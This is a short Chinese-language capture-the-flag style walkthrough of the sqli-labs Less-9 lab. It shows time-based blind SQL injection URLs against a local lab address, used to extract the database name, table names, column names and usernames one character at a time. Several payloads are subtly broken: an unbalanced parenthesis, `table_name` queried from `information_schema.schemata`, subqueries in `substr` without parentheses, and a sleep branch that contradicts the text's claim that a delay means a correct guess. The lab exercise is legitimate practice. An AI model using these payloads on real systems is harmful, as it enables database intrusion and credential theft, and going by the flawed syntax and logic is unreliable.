sqli-labs ————less -9
Less-9
首先我們可以檢視一下原始碼:
一方面:從標題中我們可以看到這是一個基於時間盲注的單引號注入
另一方面:從之後的“print_r(mysql_error());”來看我們並不可以使用報錯注入
最後,我們可以看到可以通過' and 1=1 --+或者' or 1=1 --+來繞過
既然如此,那麼我就用延遲注入的方式來注入:
猜解資料庫:
payload:http://192.168.11.136/sqli-labs/Less-9?id=1' and if(ascii(substr(database(),1,1))=115),1,sleep(5))--+
從圖中可以看到傳送了時間延遲,所以猜解正確,所以資料庫第一位是“s”
至於後續的猜解與這一個原理相同,這裡就不再多說了!最後我們可以猜解到資料庫的名稱為security。
猜解security的資料表名
http://192.168.11.136/sqli-labs/Less-9/?id=1' and if(ascii(substr(select table_name from information_schema.schemata where table_schema='security' limit 0,1))=101,1,sleep(5))--+
猜測第一個資料表的第一位是e,之後的類似,最後我們可以得到emails
猜測user表的列
http://192.168.11.136/sqli-labs/Less-9?id=1' and if(ascii(substr(select column_name from information_schema.columns where table_name='users' limit 0,1))=101,1,sleep(5))--+
猜測users表的第一個列的第一個字元是i,之後的類推即可!可以得到列名id,username,password
猜測username的欄位值
http://192.168.11.136/sqli-labs/Less-9/?id=1' and if(ascii(substr(select username from users limit 0,1))=68,1,sleep(5))--+
之後的內容以此類推就好!